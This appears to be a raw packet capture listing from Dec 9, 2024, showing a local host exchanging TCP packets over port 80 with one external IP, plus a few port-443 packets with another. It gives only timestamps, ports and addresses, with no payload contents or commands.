Dec 9, 2024 20:27:36.366518974 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.367356062 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.367408037 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.367530107 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.367575884 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.368380070 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.368428946 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.368432045 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.368500948 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.369467020 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.369515896 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.369571924 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.369616032 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.370533943 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.370573044 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.370582104 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.370618105 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.371372938 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.371432066 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.371434927 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.371471882 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.372426033 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.372484922 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.372492075 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.372526884 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.373408079 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.373493910 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.373518944 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.373567104 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.374416113 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.374428988 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.374495029 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.374519110 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.515104055 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.515217066 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.515265942 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.515309095 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.515360117 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.515407085 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.515670061 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.515721083 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.515938044 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.515996933 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.516625881 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.516674995 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.516696930 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.516731977 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.517591953 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.517648935 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.517941952 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.517983913 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.518050909 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.518091917 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.518748999 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.518802881 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.518974066 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.519047022 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.519740105 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.519779921 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.519792080 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.519819021 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.520749092 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.520793915 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.520904064 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.520946026 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.521776915 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.521831989 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.521878958 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.521920919 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.522774935 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.522829056 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.522903919 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.522953033 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.523765087 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.523778915 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.523828983 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.524768114 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.524821997 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.524887085 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.524935961 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.525749922 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.525818110 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.525898933 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.525945902 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.526812077 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.526859045 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.526864052 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.526901960 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.527694941 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.527748108 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.527820110 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.527869940 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.528763056 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.528789043 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.528816938 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.528829098 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.529769897 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.529824018 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.529877901 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.529926062 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.530767918 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.530780077 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.530822039 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.531723976 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.531778097 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.531781912 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.531824112 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.532763958 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.532819033 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.532855988 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.532902956 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.533683062 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.533734083 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.533761024 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.533807039 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.534682989 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.534734011 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.534781933 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.534833908 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.537992001 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.538005114 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.538053989 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.538219929 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.538232088 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.538244009 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.538266897 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.538297892 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.538513899 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.538564920 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.538662910 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.538710117 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.538746119 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.538804054 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.539690018 CET	443	49748	142.250.181.68	192.168.2.4
Dec 9, 2024 20:27:36.539771080 CET	443	49748	142.250.181.68	192.168.2.4
Dec 9, 2024 20:27:36.539824009 CET	49748	443	192.168.2.4	142.250.181.68
Dec 9, 2024 20:27:36.539900064 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.539949894 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.540013075 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.540062904 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.540653944 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.540704012 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.540774107 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.540822029 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.541727066 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.541769981 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.541770935 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.541810036 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.542710066 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.542762995 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.542851925 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.542901993 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.543699980 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.543755054 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.543766022 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.543828964 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.544680119 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.544730902 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.544759989 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.544806004 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.545677900 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.545728922 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.545734882 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.545773029 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.546659946 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.546709061 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.546794891 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.546848059 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.547688007 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.547760963 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.547779083 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.547827959 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.548712969 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.548763037 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.548928022 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.548974037 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.549674988 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.549731016 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.549824953 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.549871922 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.550662041 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.550714016 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.550760984 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.550807953 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.551760912 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.551774025 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.551810980 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.552695990 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.552762985 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.552793026 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.552828074 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.553726912 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.553761005 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.553780079 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.553797007 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.554809093 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.554822922 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.554860115 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.555687904 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.555700064 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.555736065 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.556785107 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.556797981 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.556833029 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.556862116 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.557698965 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.557746887 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.557826996 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.557872057 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.558708906 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.558743000 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.558778048 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.559801102 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.559813976 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.559847116 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.559871912 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.560733080 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.560745001 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.560795069 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.561723948 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.561743021 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.561774015 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.561808109 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.562731981 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.562745094 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.562788963 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.564110994 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.564153910 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.564630032 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.564641953 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.564713001 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.565617085 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.565629005 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.565675974 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.565718889 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.565764904 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.566636086 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.566680908 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.566797018 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.566852093 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.707379103 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.707474947 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.707485914 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.707516909 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.707552910 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.707710981 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.707760096 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.708475113 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.708530903 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.708566904 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.708614111 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.709541082 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.709597111 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.709609032 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.709650040 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.710856915 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.710920095 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.711019993 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.711071014 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.711358070 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.711410046 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.711657047 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.711707115 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.712460041 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.712471962 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.712542057 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.713399887 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.713413000 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.713460922 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.714410067 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.714431047 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.714462996 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.714493990 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.715331078 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.715384007 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.715445995 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.715495110 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.716295958 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.716356993 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.716425896 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.716481924 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.717451096 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.717504025 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.717571974 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.717617989 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.718404055 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.718482018 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.718482971 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.718519926 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.719337940 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.719402075 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.719698906 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.719748020 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.720422983 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.720482111 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.720540047 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.720587015 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.721415043 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.721472979 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.721498966 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.721549988 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.722299099 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.722352028 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.722353935 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.722402096 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.723359108 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.723409891 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.723445892 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.723491907 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.724354029 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.724406958 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.724436998 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.724473953 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.725480080 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.725534916 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.725568056 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.725617886 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.726360083 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.726422071 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.726511002 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.726557970 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.727341890 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.727404118 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.727479935 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.727529049 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.728370905 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.728442907 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.728507042 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.728552103 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.729296923 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.729350090 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.729409933 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.729479074 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.730595112 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.730645895 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.730839014 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.730892897 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.731328011 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.731379986 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.731434107 CET	80	49740	185.215.113.206	192.168.2.4
